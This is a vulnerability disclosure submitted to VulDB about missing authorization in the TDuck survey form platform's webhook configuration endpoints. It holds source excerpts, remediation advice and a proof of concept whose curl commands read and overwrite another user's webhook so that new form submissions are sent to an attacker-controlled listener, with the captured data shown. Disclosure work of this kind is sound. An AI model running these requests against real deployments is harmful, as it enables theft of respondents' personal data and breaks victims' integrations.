Invia #962997: GitHub tduck-survey-form 4.0-5.3 broken access controllinformazioni

TitoloGitHub tduck-survey-form 4.0-5.3 broken access controll
Descrizione# TDuck Form Platform: Missing Object-Level Authorization in Webhook Config Endpoints Leads to Cross-User Read/Overwrite and Exfiltration of Form Submission Data ## Summary **Title:** TDuckCloud `tduck-survey-form` webhook configuration endpoints lack object-level authorization, allowing any authenticated low-privileged user to read and overwrite the webhook callback of any form, after which every new submission of the victim's form is automatically POSTed in full to the attacker-controlled URL (ongoing data exfiltration). The endpoints `GET /webhook/config/`, `POST /webhook/config/save` and `POST /webhook/config/sendTest` never verify that the form identified by `sourceId` (the form's `formKey`) belongs to the calling user. The `formKey` is an 8-character short code that is publicly exposed in the form's share link, so any ordinary registered user (non-admin) can: (1) read the webhook configuration of any form, disclosing the callback URL (which frequently embeds secret/token/signing parameters); (2) overwrite the victim's webhook with an attacker-controlled URL — from then on the server pushes the complete JSON of every new submission to the attacker (verified end-to-end in a controlled test), while the victim's legitimate integration silently breaks (availability impact). ## Affected Product / Versions | Item | Value | | ------------------ | ------------------------------------------------------------ | | Product | TDuckCloud `tduck-survey-form` (open-source Java Spring Boot online form platform) | | Affected component | `tduck-webhook` module: `WebhookConfigController` / `WebhookConfigServiceImpl` / `AddWebhookEventListener` / `WebhookSenderService` | | Affected versions | All releases shipping these controllers. Verified against the official image `tduckcloud/tduck-platform` (image build 2026-06-10, deployed via the project's `docker/docker-compose.yaml`), and against source baseline commit `43ffa9c9` (tag `Tduckx-13`, 2026-08-13); the same vulnerable code is present in the `v5.0` and `v4.0` source tags. | | Test environment | `http://localhost:8999` (docker-compose: tduck-platform + MySQL 8.0.36); both accounts are ordinary users (`admin=false`) | ## Root Cause (source evidence) `tduck-webhook/src/main/java/com/tduck/cloud/webhook/controller/WebhookConfigController.java`: ```java @GetMapping(value = "/") public Result<WebhookConfigEntity> getInfo(@RequestParam String sourceType, @RequestParam String sourceId) { return Result.success(webhookConfigService.getOne(Wrappers.<WebhookConfigEntity>lambdaQuery() .eq(WebhookConfigEntity::getSourceType, sourceType) .eq(WebhookConfigEntity::getSourceId, sourceId))); // no ownership check } @PostMapping("save") public Result<Boolean> save(@RequestBody WebhookConfigEntity webhookConfig) { ValidatorUtils.validateEntity(webhookConfig); // field-emptiness only return Result.success(webhookConfigService.saveWebhookConfig(webhookConfig)); // no ownership check } @PostMapping("sendTest") public Result<Boolean> sendTest(@RequestBody WebhookConfigEntity webhookConfig) { SendTestWebhookEvent sendTestWebhookEvent = new SendTestWebhookEvent(webhookConfig, ...); SpringContextUtils.publishEvent(sendTestWebhookEvent); // arbitrary URL, no ownership check return Result.success(true); } ``` - None of the three endpoints references `SecurityUtils` / `FormAuthUtils`; i.e. there is no check that the form belongs to the current user. - `WebhookConfigServiceImpl.saveWebhookConfig` only de-duplicates by `(sourceType, sourceId)` and then `save/updateById` — again no user-scoped condition. - Webhook configs are keyed by `(sourceType="form", sourceId=formKey)` and the `formKey` is publicly visible in the share link `/form/details/{formKey}` — no brute force needed. - Exfiltration chain (no action required from the victim): new submission → `FormWebHookUtils.pushFormDataSaveWebHook(formData)` → `AddWebhookEventListener` looks up the config by formKey (already overwritten by the attacker) → `WebhookSenderService.sendHttp` POSTs the complete submission JSON to the attacker URL. ## CWE - CWE-639: Authorization Bypass Through User-Controlled Key - CWE-862: Missing Authorization (function level) - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (callback URL disclosure / submission data exfiltration) ## Attack Vector & Preconditions - Attacker: any ordinary registered user (`admin=false`; verified with exactly such an account). - Precondition: only the victim form's `formKey` from its public share link. - No administrator privileges, no knowledge of the victim's credentials, no interaction with the victim. ## PoC (verified evidence) > Environment `http://localhost:8999`; auth header: `token: <JWT>` (`platform.jwt.header` is `token` in this deployment). Attacker `[email protected]` (id=1002, `admin=false`); victim `[email protected]` (id=1001, `admin=false`); victim form `formKey=8wYgRIGX`. ### 1) Read the victim's webhook configuration (information disclosure) ```bash curl -s "http://localhost:8999/webhook/config/?sourceType=form&sourceId=8wYgRIGX" \ -H "token: <attacker-token>" ``` Actual response (excerpt, `code=200`): ```json { "code": 200, "data": { "id": 64, "hookName": "poc-hook", "sourceType": "form", "sourceId": "8wYgRIGX", "url": "http://172.20.0.1:9999/victim-hook", "requestType": "POST", "enabled": true } } ``` → The attacker successfully read the victim's webhook callback URL. (Note: `getInfo` is mapped as `@GetMapping("/")`, so the path requires the trailing slash `/webhook/config/`.) ### 2) Overwrite the victim's webhook (hijack) ```bash curl -s -X POST "http://localhost:8999/webhook/config/save" \ -H "token: <attacker-token>" -H "Content-Type: application/json" \ -d '{"hookName":"attacker-hook","sourceType":"form","sourceId":"8wYgRIGX", "url":"http://172.20.0.1:9998/attacker-hook","requestType":"POST", "enabled":true,"otherOptions":{"eventTypes":["form_data_add"]}}' ``` Actual response: `{"code":200,"msg":null,"data":true}`; a read-back confirmed the config now points to the attacker's URL. ### 3) Submission data exfiltration (full end-to-end) The attacker ran a listener at `http://172.20.0.1:9998/attacker-hook`. After a new submission to the victim's form, the server automatically POSTed the complete submission to the attacker's listener. **Body captured at the attacker's listener (complete submission JSON, including the `secret` field):** ```json {"input1":"Bob","input2":"[email protected]","secret":"EXFIL-PAYLOAD-42", "formKey":"8wYgRIGX","serialNumber":3,"submitRequestIp":"172.20.0.1", "submitAddress":"内网IP","createBy":"1002","id":211741, "createTime":"2026-08-30 22:28:03","updateTime":"2026-08-30 22:28:03", "eventType":"form_data_add","eventTime":1788100083376} ``` Server-side `webhook_event` records and application logs corroborate the delivery attempt (`webhook_config_id=64` — the hijacked config — `event_type=form_data_add`, full `event_data`). ### 4) Arbitrary-URL test push ```bash curl -s -X POST "http://localhost:8999/webhook/config/sendTest" \ -H "token: <attacker-token>" -H "Content-Type: application/json" \ -d '{"hookName":"x","sourceType":"form","sourceId":"arbitrary", "url":"http://172.20.0.1:9998/sendtest","requestType":"POST","enabled":true}' ``` Actual response: `{"code":200,"msg":null,"data":true}` (in the tested snapshot `SendTestWebhookEvent` has no listener and no HTTP request is actually sent, but the endpoint equally lacks any ownership check). ## Impact 1. **Confidentiality (High):** anyone can read any form's webhook configuration (disclosing callback URLs and embedded secrets); after overwriting, **all subsequent submissions of that form are continuously exfiltrated** to the attacker (exam answers, registration data, survey PII). 2. **Integrity / Availability (Medium–High):** the victim's existing integrations silently break (no more notifications, events rewritten), causing business disruption. 3. Extremely low exploitation threshold: ordinary account + public `formKey`, no victim interaction. ## Remediation 1. In `WebhookConfigController.getInfo / save / sendTest`, call `FormAuthUtils.hasPermission(sourceId)` on the `sourceId` (formKey) before the operation (admins exempted). 2. Enforce the same ownership constraint in `WebhookConfigServiceImpl.saveWebhookConfig` (defense in depth against future entry points). 3. Restrict `sendTest` to the current user's own configurations, and whitelist protocols / block internal-network URLs. 4. Treat the webhook URL as sensitive: mask it in responses and expose the full value only to the owner in edit mode. ## Reproducer Script A dependency-free Python 3 reproducer for this issue is provided as `tduck-poc/poc_webhook_config.py` and has been
Fonte⚠️ https://github.com/LinYuanyi1/cve-request-poc/blob/master/tduck/poc_webhook_config.py
Utente
 lincoke (UID 100021)
Sottomissione07/09/2026 10:03 (1 mese fa)
Moderazione11/10/2026 11:44 (1 month later)
StatoDuplicato
Voce VulDB406025 [TDuckCloud TDuck Survey Form fino a 5.3 Webhook Configuration WebhookConfigController escalationi di privilegi]
Punti0

Want to stay up to date on a daily basis?

Enable the mail alert feature now!